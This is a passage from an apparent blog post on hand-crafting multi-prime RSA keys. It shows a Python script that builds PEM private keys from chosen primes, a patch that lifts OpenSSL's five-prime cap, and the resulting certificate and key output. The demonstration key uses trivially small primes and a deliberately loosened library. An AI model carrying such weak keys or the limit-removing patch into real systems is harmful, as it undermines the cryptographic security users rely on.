</td></tr><tr><td class="linenos">8</td><td>
</td></tr><tr><td class="linenos">9</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">OpenSSL</span> <span class="pgcsskn">import</span> <span class="pgcssn">crypto</span></code>
</td></tr><tr><td class="linenos">10</td><td>
</td></tr><tr><td class="linenos">11</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">pyasn1.type.univ</span> <span class="pgcsskn">import</span> <span class="pgcssn">Sequence</span><span class="pgcssp">,</span> <span class="pgcssn">SequenceOf</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span></code>
</td></tr><tr><td class="linenos">12</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">pyasn1.type.namedtype</span> <span class="pgcsskn">import</span> <span class="pgcssn">NamedType</span><span class="pgcssp">,</span> <span class="pgcssn">NamedTypes</span><span class="pgcssp">,</span> <span class="pgcssn">OptionalNamedType</span></code>
</td></tr><tr><td class="linenos">13</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">pyasn1.codec.der.encoder</span> <span class="pgcsskn">import</span> <span class="pgcssn">encode</span> <span class="pgcssk">as</span> <span class="pgcssn">der_encode</span></code>
</td></tr><tr><td class="linenos">14</td><td>
</td></tr><tr><td class="linenos">15</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">product</span><span class="pgcssp">(</span><span class="pgcssn">items</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">16</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">reduce</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">,</span> <span class="pgcssn">y</span><span class="pgcssp">:</span> <span class="pgcssn">x</span> <span class="pgcsso">*</span> <span class="pgcssn">y</span><span class="pgcssp">,</span> <span class="pgcssn">items</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">17</td><td>
</td></tr><tr><td class="linenos">18</td><td>
<code><span class="pgcssk">class</span> <span class="pgcssnc">RSAError</span><span class="pgcssp">(</span><span class="pgcssne">ValueError</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">19</td><td>
<code> <span class="pgcssk">pass</span></code>
</td></tr><tr><td class="linenos">20</td><td>
</td></tr><tr><td class="linenos">21</td><td>
<code><span class="pgcssc1"># https://tools.ietf.org/html/rfc8017#appendix-A.1.2</span></code>
</td></tr><tr><td class="linenos">22</td><td>
<code><span class="pgcssk">class</span> <span class="pgcssnc">OtherPrimeInfo</span><span class="pgcssp">(</span><span class="pgcssn">Sequence</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">23</td><td>
<code> <span class="pgcssn">componentType</span> <span class="pgcsso">=</span> <span class="pgcssn">NamedTypes</span><span class="pgcssp">(</span></code>
</td></tr><tr><td class="linenos">24</td><td>
<code> <span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;prime&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span></code>
</td></tr><tr><td class="linenos">25</td><td>
<code> <span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;exponent&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span></code>
</td></tr><tr><td class="linenos">26</td><td>
<code> <span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;coefficient&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">())</span></code>
</td></tr><tr><td class="linenos">27</td><td>
<code> <span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">28</td><td>
</td></tr><tr><td class="linenos">29</td><td>
<code><span class="pgcssk">class</span> <span class="pgcssnc">OtherPrimeInfos</span><span class="pgcssp">(</span><span class="pgcssn">SequenceOf</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">30</td><td>
<code> <span class="pgcssn">componentType</span> <span class="pgcsso">=</span> <span class="pgcssn">OtherPrimeInfo</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">31</td><td>
</td></tr><tr><td class="linenos">32</td><td>
<code><span class="pgcssk">class</span> <span class="pgcssnc">RSAPrivateKey</span><span class="pgcssp">(</span><span class="pgcssn">Sequence</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">33</td><td>
<code> <span class="pgcssn">componentType</span> <span class="pgcsso">=</span> <span class="pgcssn">NamedTypes</span><span class="pgcssp">(</span></code>
</td></tr><tr><td class="linenos">34</td><td>
<code> <span class="pgcssc1"># Version ::= INTEGER { two-prime(0), multi(1) }</span></code>
</td></tr><tr><td class="linenos">35</td><td>
<code> <span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;version&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span></code>
</td></tr><tr><td class="linenos">36</td><td>
<code> <span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;modulus&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span></code>
</td></tr><tr><td class="linenos">37</td><td>
<code> <span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;publicExponent&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span></code>
</td></tr><tr><td class="linenos">38</td><td>
<code> <span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;privateExponent&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span></code>
</td></tr><tr><td class="linenos">39</td><td>
<code> <span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;prime1&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span></code>
</td></tr><tr><td class="linenos">40</td><td>
<code> <span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;prime2&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span></code>
</td></tr><tr><td class="linenos">41</td><td>
<code> <span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;exponent1&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span></code>
</td></tr><tr><td class="linenos">42</td><td>
<code> <span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;exponent2&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span></code>
</td></tr><tr><td class="linenos">43</td><td>
<code> <span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;coefficient&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span></code>
</td></tr><tr><td class="linenos">44</td><td>
<code> <span class="pgcssn">OptionalNamedType</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;otherPrimeInfos&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">OtherPrimeInfos</span><span class="pgcssp">())</span></code>
</td></tr><tr><td class="linenos">45</td><td>
<code> <span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">46</td><td>
</td></tr><tr><td class="linenos">47</td><td>
<code> <span class="pgcssc1"># instantiate private key given public exponent and list of primes</span></code>
</td></tr><tr><td class="linenos">48</td><td>
<code> <span class="pgcssk">def</span> <span class="pgcssfm">__init__</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">,</span> <span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">primes</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">49</td><td>
<code> <span class="pgcssnb">super</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssfm">__init__</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">50</td><td>
</td></tr><tr><td class="linenos">51</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssnb">set</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">))</span> <span class="pgcsso">!=</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">52</td><td>
<code> <span class="pgcssk">raise</span> <span class="pgcssn">RSAError</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;Cannot compute CRT coefficents with repeat primes&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">53</td><td>
</td></tr><tr><td class="linenos">54</td><td>
<code> <span class="pgcssn">primes</span> <span class="pgcsso">=</span> <span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">]</span> <span class="pgcsso">+</span> <span class="pgcssn">primes</span></code>
</td></tr><tr><td class="linenos">55</td><td>
</td></tr><tr><td class="linenos">56</td><td>
<code> <span class="pgcssc1"># compute modulus</span></code>
</td></tr><tr><td class="linenos">57</td><td>
<code> <span class="pgcssn">n</span> <span class="pgcsso">=</span> <span class="pgcssn">product</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">:])</span></code>
</td></tr><tr><td class="linenos">58</td><td>
</td></tr><tr><td class="linenos">59</td><td>
<code> <span class="pgcssn">primes_minus_one</span> <span class="pgcsso">=</span> <span class="pgcssp">[</span><span class="pgcssn">x</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span> <span class="pgcssk">for</span> <span class="pgcssn">x</span> <span class="pgcssow">in</span> <span class="pgcssn">primes</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">60</td><td>
<code> <span class="pgcssn">phi</span> <span class="pgcsso">=</span> <span class="pgcssn">product</span><span class="pgcssp">(</span><span class="pgcssn">primes_minus_one</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">:])</span></code>
</td></tr><tr><td class="linenos">61</td><td>
</td></tr><tr><td class="linenos">62</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">gmpy2</span><span class="pgcsso">.</span><span class="pgcssn">gcd</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">phi</span><span class="pgcssp">)</span> <span class="pgcsso">!=</span> <span class="pgcssmi">1</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">63</td><td>
<code> <span class="pgcssk">raise</span> <span class="pgcssn">RSAError</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;e and phi(n) are not coprime&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">64</td><td>
</td></tr><tr><td class="linenos">65</td><td>
<code> <span class="pgcssc1"># compute private exponent</span></code>
</td></tr><tr><td class="linenos">66</td><td>
<code> <span class="pgcssn">d</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">gmpy2</span><span class="pgcsso">.</span><span class="pgcssn">invert</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">phi</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">67</td><td>
</td></tr><tr><td class="linenos">68</td><td>
<code> <span class="pgcssn">exponents</span> <span class="pgcsso">=</span> <span class="pgcssp">[</span><span class="pgcssn">d</span> <span class="pgcsso">%</span> <span class="pgcssn">x</span> <span class="pgcssk">for</span> <span class="pgcssn">x</span> <span class="pgcssow">in</span> <span class="pgcssn">primes_minus_one</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">69</td><td>
</td></tr><tr><td class="linenos">70</td><td>
<code> <span class="pgcssn">coefficients</span> <span class="pgcsso">=</span> <span class="pgcssp">[</span><span class="pgcsskc">None</span><span class="pgcssp">]</span> <span class="pgcsso">*</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">71</td><td>
<code> <span class="pgcssc1"># inv q mod p</span></code>
</td></tr><tr><td class="linenos">72</td><td>
<code> <span class="pgcssn">coefficients</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">gmpy2</span><span class="pgcsso">.</span><span class="pgcssn">invert</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">],</span> <span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">]))</span></code>
</td></tr><tr><td class="linenos">73</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">i</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssmi">3</span><span class="pgcssp">,</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)):</span></code>
</td></tr><tr><td class="linenos">74</td><td>
<code> <span class="pgcssc1"># inv product(r[1] ... r[i-1]) mod r[i]</span></code>
</td></tr><tr><td class="linenos">75</td><td>
<code> <span class="pgcssn">coefficients</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">gmpy2</span><span class="pgcsso">.</span><span class="pgcssn">invert</span><span class="pgcssp">(</span><span class="pgcssn">product</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">:</span><span class="pgcssn">i</span><span class="pgcssp">]),</span> <span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">]))</span></code>
</td></tr><tr><td class="linenos">76</td><td>
</td></tr><tr><td class="linenos">77</td><td>
<code> <span class="pgcssc1"># base set of rsa private key values</span></code>
</td></tr><tr><td class="linenos">78</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;modulus&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">n</span></code>
</td></tr><tr><td class="linenos">79</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;publicExponent&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">e</span></code>
</td></tr><tr><td class="linenos">80</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;privateExponent&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">d</span></code>
</td></tr><tr><td class="linenos">81</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;prime1&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">82</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;prime2&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">83</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;exponent1&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">exponents</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">84</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;exponent2&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">exponents</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">85</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;coefficient&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">coefficients</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">86</td><td>
</td></tr><tr><td class="linenos">87</td><td>
<code> <span class="pgcssc1"># add values for additional primes if needed</span></code>
</td></tr><tr><td class="linenos">88</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssp">(</span><span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span><span class="pgcssp">)</span> <span class="pgcsso">&gt;</span> <span class="pgcssmi">2</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">89</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;version&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssmi">1</span></code>
</td></tr><tr><td class="linenos">90</td><td>
<code> <span class="pgcssn">otherPrimeInfos</span> <span class="pgcsso">=</span> <span class="pgcssn">OtherPrimeInfos</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">91</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">i</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssmi">3</span><span class="pgcssp">,</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)):</span></code>
</td></tr><tr><td class="linenos">92</td><td>
<code> <span class="pgcssn">info</span> <span class="pgcsso">=</span> <span class="pgcssn">OtherPrimeInfo</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">93</td><td>
<code> <span class="pgcssn">info</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;prime&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">94</td><td>
<code> <span class="pgcssn">info</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;exponent&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">exponents</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">95</td><td>
<code> <span class="pgcssn">info</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;coefficient&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">coefficients</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">96</td><td>
<code> <span class="pgcssn">otherPrimeInfos</span><span class="pgcsso">.</span><span class="pgcssn">setComponentByPosition</span><span class="pgcssp">(</span><span class="pgcssn">i</span> <span class="pgcsso">-</span> <span class="pgcssmi">3</span><span class="pgcssp">,</span> <span class="pgcssn">info</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">97</td><td>
</td></tr><tr><td class="linenos">98</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;otherPrimeInfos&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">otherPrimeInfos</span></code>
</td></tr><tr><td class="linenos">99</td><td>
<code> <span class="pgcssk">else</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">100</td><td>
<code> <span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;version&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssmi">0</span></code>
</td></tr><tr><td class="linenos">101</td><td>
</td></tr><tr><td class="linenos">102</td><td>
<code> <span class="pgcssnd">@property</span></code>
</td></tr><tr><td class="linenos">103</td><td>
<code> <span class="pgcssk">def</span> <span class="pgcssnf">der</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">104</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">der_encode</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">105</td><td>
</td></tr><tr><td class="linenos">106</td><td>
<code> <span class="pgcssnd">@property</span></code>
</td></tr><tr><td class="linenos">107</td><td>
<code> <span class="pgcssk">def</span> <span class="pgcssnf">pem</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">108</td><td>
<code> <span class="pgcssn">b64</span> <span class="pgcsso">=</span> <span class="pgcssn">base64</span><span class="pgcsso">.</span><span class="pgcssn">b64encode</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">der</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">109</td><td>
<code> <span class="pgcssn">b64</span> <span class="pgcsso">=</span> <span class="pgcsss1">&#39;</span><span class="pgcssse">\n</span><span class="pgcsss1">&#39;</span><span class="pgcsso">.</span><span class="pgcssn">join</span><span class="pgcssp">(</span><span class="pgcssn">b64</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">:</span><span class="pgcssn">i</span><span class="pgcsso">+</span><span class="pgcssmi">64</span><span class="pgcssp">]</span> <span class="pgcssk">for</span> <span class="pgcssn">i</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssmi">0</span><span class="pgcssp">,</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">b64</span><span class="pgcssp">),</span> <span class="pgcssmi">64</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">110</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcsss1">&#39;-----BEGIN </span><span class="pgcsssi">{text}</span><span class="pgcsss1">-----</span><span class="pgcssse">\n</span><span class="pgcsssi">{b64}</span><span class="pgcssse">\n</span><span class="pgcsss1">-----END </span><span class="pgcsssi">{text}</span><span class="pgcsss1">-----</span><span class="pgcssse">\n</span><span class="pgcsss1">&#39;</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span></code>
</td></tr><tr><td class="linenos">111</td><td>
<code> <span class="pgcssn">b64</span><span class="pgcsso">=</span><span class="pgcssn">b64</span><span class="pgcssp">,</span></code>
</td></tr><tr><td class="linenos">112</td><td>
<code> <span class="pgcssn">text</span><span class="pgcsso">=</span><span class="pgcsss1">&#39;RSA PRIVATE KEY&#39;</span></code>
</td></tr><tr><td class="linenos">113</td><td>
<code> <span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">114</td><td>
</td></tr><tr><td class="linenos">115</td><td>
<code><span class="pgcssk">if</span> <span class="pgcssvm">__name__</span> <span class="pgcsso">==</span> <span class="pgcsss1">&#39;__main__&#39;</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">116</td><td>
<code> <span class="pgcssn">e</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">])</span></code>
</td></tr><tr><td class="linenos">117</td><td>
<code> <span class="pgcssn">primes</span> <span class="pgcsso">=</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">,</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">:]))</span></code>
</td></tr><tr><td class="linenos">118</td><td>
<code> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">stdout</span><span class="pgcsso">.</span><span class="pgcssn">write</span><span class="pgcssp">(</span><span class="pgcssn">RSAPrivateKey</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">primes</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">pem</span><span class="pgcssp">)</span></code>
</td></tr></tbody></table></div>
<p>With that out of the way, I generated a key and tried to use it with OpenSSL.
It did not work.</p>
<pre class="code breakall literal-block">
$ ./mprsa.py 16209469334791745752099089153245209595938905391366915442843655311870250775988478962443242925129138403268309023495340941270951066230818482657126058912138893504120575530462325274587 223 373 505511 62264393819 692091200694401 48054446430444121028200972020533400162078125396018622197185481602069377646593949231788063528654342806608883936083928621453549454859416361204853853702948393735291252921874962603428963373263708172690458493327748172536543917708281204835129658881247320770314746942732710565970028734766695760731222427123603048615247949771446031873465256836264652436820606092660156412961641977084159217469138549478995858415013921 > multi.key
$ openssl req -new -batch -key multi.key -out multi.csr -subj '/CN=test'
139698227354952:error:0D0DC006:asn1 encoding routines:ASN1_item_sign_ctx:EVP lib:crypto/asn1/a_sign.c:224:
</pre>
<p>This somewhat confusing error message seems to be the result of some hard coded
limits in OpenSSL. It won’t work with keys having more than five primes at all,
and has further restrictions in some cases depending on key size. Fortunately,
it was trivial to patch these limits out.</p>
<div class="highlight"><table class="highlighttable"><caption><a download="" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fartisanal-rsa_%2Fattach%2Fopenssl-manyprime.diff" id="openssl-manyprime-diff">openssl-manyprime.diff</a></caption><tbody><tr><td class="linenos">1</td><td>
<code><span class="pgcssgd">--- openssl-1.1.1c.orig/crypto/rsa/rsa_locl.h</span></code>
</td></tr><tr><td class="linenos">2</td><td>
<code><span class="pgcssgi">+++ openssl-1.1.1c/crypto/rsa/rsa_locl.h</span></code>
</td></tr><tr><td class="linenos">3</td><td>
<code><span class="pgcssgu">@@ -10,7 +10,7 @@</span></code>
</td></tr><tr><td class="linenos">4</td><td>
<code><span class="pgcssw"> </span>#include &lt;openssl/rsa.h&gt;</code>
</td></tr><tr><td class="linenos">5</td><td>
<code><span class="pgcssw"> </span>#include &quot;internal/refcount.h&quot;</code>
</td></tr><tr><td class="linenos">6</td><td>
</td></tr><tr><td class="linenos">7</td><td>
<code><span class="pgcssgd">-#define RSA_MAX_PRIME_NUM 5</span></code>
</td></tr><tr><td class="linenos">8</td><td>
<code><span class="pgcssgi">+#define RSA_MAX_PRIME_NUM 64</span></code>
</td></tr><tr><td class="linenos">9</td><td>
<code><span class="pgcssw"> </span>#define RSA_MIN_MODULUS_BITS 512</code>
</td></tr><tr><td class="linenos">10</td><td>
</td></tr><tr><td class="linenos">11</td><td>
<code><span class="pgcssw"> </span>typedef struct rsa_prime_info_st {</code>
</td></tr><tr><td class="linenos">12</td><td>
<code><span class="pgcssgd">--- openssl-1.1.1c.orig/crypto/rsa/rsa_mp.c</span></code>
</td></tr><tr><td class="linenos">13</td><td>
<code><span class="pgcssgi">+++ openssl-1.1.1c/crypto/rsa/rsa_mp.c</span></code>
</td></tr><tr><td class="linenos">14</td><td>
<code><span class="pgcssgu">@@ -111,5 +111,5 @@ int rsa_multip_cap(int bits)</span></code>
</td></tr><tr><td class="linenos">15</td><td>
<code><span class="pgcssw"> </span> if (cap &gt; RSA_MAX_PRIME_NUM)</code>
</td></tr><tr><td class="linenos">16</td><td>
<code><span class="pgcssw"> </span> cap = RSA_MAX_PRIME_NUM;</code>
</td></tr><tr><td class="linenos">17</td><td>
</td></tr><tr><td class="linenos">18</td><td>
<code><span class="pgcssgd">- return cap;</span></code>
</td></tr><tr><td class="linenos">19</td><td>
<code><span class="pgcssgi">+ return RSA_MAX_PRIME_NUM;</span></code>
</td></tr><tr><td class="linenos">20</td><td>
<code><span class="pgcssw"> </span>}</code>
</td></tr></tbody></table></div>
<p>After installing a patched OpenSSL package, I tried again.</p>
<pre class="code literal-block">
$ openssl req -new -batch -key multi.key -out multi.csr -subj '/CN=test'
$ openssl x509 -signkey multi.key -in multi.csr -req -days 999 -out multi.crt
Signature ok
subject=CN = test
Getting Private key
$ openssl verify -CAfile multi.crt multi.crt
multi.crt: OK
$ openssl rsa -noout -text -in multi.key
RSA Private-Key: (1472 bit, 6 primes)
modulus:
00:aa:98:6c:52:74:cf:48:d3:13:3c:5d:42:35:c2:
e0:d7:f2:62:ef:41:e5:bc:bc:bb:d5:44:28:b4:c2:
51:52:3e:80:b4:92:17:e2:e0:e6:34:de:f5:37:95:
7c:78:70:7a:71:a2:00:64:9f:7a:15:e0:d0:73:9e:
b7:95:70:45:c8:6b:0f:01:2b:48:9a:97:2e:f2:78:
e4:19:14:8f:53:82:59:5c:5d:7c:a7:fc:02:a5:a4:
03:3a:7a:d7:40:e4:fc:6b:aa:e7:6f:a9:a9:2d:78:
8e:33:c6:0b:c0:a6:b9:32:3e:47:a0:53:8d:91:45:
2d:bd:72:ed:48:49:b6:5d:98:8d:f7:cd:2d:6b:2f:
a5:02:96:b3:92:e6:77:11:52:6b:8a:f0:70:85:ba:
ab:e2:73:58:6b:da:4b:21:84:7f:9f:05:b0:06:6f:
9e:f8:83:24:31:f1:b7:95:6a:5c:32:22:14:2c:47:
09:40:40:cb:bf
publicExponent:
01:00:01:b7:02:e0:7a:d7:1c:d6:8e:e8:4a:58:f7:
92:eb:c8:db:27:0b:0d:d2:25:61:27:18:1f:c2:1c:
db:6f:38:46:92:3d:dc:a2:d3:e7:a2:76:8b:28:56:
